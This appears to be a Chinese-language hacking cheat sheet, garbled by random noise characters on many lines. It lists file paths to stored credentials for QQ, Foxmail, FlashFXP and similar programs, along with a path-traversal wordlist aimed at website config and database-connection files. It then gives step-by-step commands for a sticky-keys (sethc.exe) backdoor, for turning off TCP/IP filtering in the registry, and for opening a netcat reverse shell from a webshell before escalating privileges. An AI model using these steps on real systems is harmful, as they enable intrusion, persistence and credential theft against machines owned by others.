c:\Apache2\bin\Apache.exe
* b- v1 m9 ~6 W6 wc:\Apache2\php\license.txt
5 z1 ?9 i- s+ B/ WC:\Program Files\Apache Group\Apache2\bin\Apache.exe
3 a+ j: r; a2 N5 D- ]' H0 x3 Q& w/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
! e3 g  T& u% F# ~% L' U/ t5 p) T/usr/tomcat6/bin/startup.sh
- R  ?. X1 h1 V8 }0 ac:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
: X/ h- h) ]7 q, ^7 W3 w/ tc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
: ?  R- D4 Y3 Q* Ac:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
. x: k: T; a$ F7 Z) oc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
1 i4 u3 k+ R! q9 sc:\Program Files\Tencent\RTXServer\AppConfig.xml
6 R# f7 h, E$ J: ~C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
  @1 E$ p' B' `+ L7 Q* U% vC:\Program Files\tencent\Foxmal\Foxmail.exe
: M! m7 u4 v* u4 `5 RC:\Program Files\tencent\Foxmal\accounts.cfg
) @! \' U9 y4 m0 b1 B" ~C:\Program Files\LeapFTP 3.0\LeapFTP.exe
& }+ M: F9 M2 p$ iC:\Program Files\LeapFTP\LeapFTP.exe
" F7 `# J3 O; p4 y0 n  Qc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
; _1 e" d+ v0 v% o& z% W0 tC:\Program Files\FlashFXP\FlashFXP.ini
8 E2 s0 N0 A. t/ N- I5 dC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
/ ]; b' N# u" L. M8 uC:\Program Files\StormII\Storm.exe
7 I1 W; @: B. H% i& a' C3 W8 k
: y3 a) g7 R, l9 x3.网站相对路径:

/config.php
../../config.php
( E, b& V+ m2 }/ g../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
4 l; l! |" f  o: ~4 d../config.inc.php
../../../config.inc.php
0 u  P* _1 w) r7 Y( J/conn.php
./conn.php
. ?- V. _5 [; z../../conn.php
../conn.php
& r% P3 {2 u+ Q% x! Y4 A../../../conn.php
/conn.asp
  [! g+ }3 B8 {8 r: z./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
+ v1 ^3 ?8 v7 D, X./config.inc.php
../../config.inc.php
../config.inc.php
! ?. E: w( b3 f% i7 N! x* _../../../config.inc.php
6 |* }, t- S: W0 I* J/config/config.php
../../config/config.php
7 b+ d6 t- L  y9 F% \8 S: p../config/config.php
3 P( f3 m5 A0 b9 B! K../../../config/config.php
; w; o2 Q1 z; l! R6 ~, n6 J/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
. L& ]% p$ `7 _../../../config/config.inc.php
" D8 e! K; ^$ ?9 v: N/config/conn.php
1 w, M% n/ e0 _- {8 x4 `./config/conn.php
0 D& V1 `& a2 O# H- ]5 Y../../config/conn.php
4 S# I/ G# J5 a: ^" O6 r1 }. D../config/conn.php
  p6 S; U* v( o5 I8 P) e../../../config/conn.php
3 }" a  [9 q- ?2 @. ?/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
1 a1 Z7 E9 `4 t5 g) P, ?5 T../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
0 ~8 D/ c7 Z: Z0 ~/data/config.inc.php
4 w0 \- n6 ^3 a& S3 O- w0 M./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
6 l6 G+ l6 I/ C) u4 `- S8 }2 Y../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
8 e% h5 H. T8 c5 Y* e6 k; Z! K/data/conn.asp
4 {& d) B2 Z* b./data/conn.asp
0 d# Y" F/ d2 V8 C) {( E, |7 U../../data/conn.asp
- F; j! Y! `9 m3 @3 o../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
  X" K7 f. V% w9 ^) N./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
5 Q; G2 t: B! u/ c2 z2 k& E% j../../../data/config.inc.php
/include/config.php
../../include/config.php
; r, J% H; j' x. D( A; E( ~5 h( b9 P../include/config.php
$ s) l* g  }! l0 d../../../include/config.php
/include/config.inc.php
! w" W3 k3 |2 W6 X- p; u./include/config.inc.php
$ D# J* S. _" S" U. c../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
  M; Z: n+ \. }/include/conn.php
1 b" `/ @" d) y./include/conn.php
../../include/conn.php
../include/conn.php
/ C  c- W2 ^3 z% q# Y. n. Y4 U../../../include/conn.php
/include/conn.asp
./include/conn.asp
# ]+ Y' ?1 o. C../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
8 |, y0 |3 y8 z, j, ^./include/config.inc.php
: {: f' i2 D" O/ Z; H5 ~8 k../../include/config.inc.php
- W. L, e: H9 M../include/config.inc.php
7 l" [, X. I! d5 Y/ S1 Y  c. B../../../include/config.inc.php
/inc/config.php
  U5 K+ T& k( ^6 N, v4 Z% \* B, N../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
  [9 ?& A7 R9 v6 Y./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
  s9 _% Q2 T/ g$ I1 A0 ~5 ^) Z  v../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
* F+ N/ o% f+ L0 F; ~0 Y/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
, b& v4 n: t& H2 d& I0 X8 Q2 k../inc/conn.asp
../../../inc/conn.asp
: G) F+ Q0 J3 S$ `5 B/inc/config.inc.php
./inc/config.inc.php
( i! a5 \9 D0 [1 `- P../../inc/config.inc.php
' ^4 G8 P* t" c) E7 G../inc/config.inc.php
../../../inc/config.inc.php
$ n- \" L1 u7 u( n* q1 \- p/index.php
./index.php
8 s% `  o7 V7 S: L../../index.php
5 y6 U- g$ _& I% F7 S0 {../index.php
  H: b  l7 U& ^+ l! ]' a../../../index.php
9 n$ n  t# S# ]" i$ W9 ~1 r/index.asp
" O: Y  ~$ ^  ]  Z8 I./index.asp
# S3 K# R$ l, m8 ]; z* f../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
* t! U9 W6 G# D0 t1 v- ]4 G
4 x- a+ u( d/ ?( ^9 L　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
. x1 P& k7 M9 k% r5 j# x$ g; C
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
* s$ g2 M5 _+ `! ^" h
" Z5 R) z+ e) u2 x  G( m9 M& }7 e　　attrib c:\windows\system32\sethc.exe +h +r +s

& T% z. K! m9 K6 n' M　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
( G+ R/ t! I& jHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
, V4 }+ {* i  P/ Z/ iregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
- E( F$ F: [+ c; L6 S命令来导出注册表项
# F4 C( D2 {% k3 k
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
4 D+ N7 B2 i6 c: T$ U
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
3 T! I& ?8 ~' H  O. H
/ A' F+ u. I2 z$ S* Zwebshell提权小技巧
cmd路径:
4 j9 O! |: Z5 l0 r6 k- lc:\windows\temp\cmd.exe
0 O& H4 M! P2 n2 \3 t# z% Dnc也在同目录下
5 P- L$ v7 V5 j" ]' p" m! j例如反弹cmdshell：
8 n" k: e, O0 ^0 M5 V"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
$ c5 ?0 S8 m+ L. \, m通常都不会成功。

3 n- w1 J) X8 h! N* S而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
) B; w* O7 Z$ _! J/ D) J却能成功。。
6 [" P' Z1 E6 f/ `( ]. U这个不是重点
5 ?6 `' l* {0 E0 p" @我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功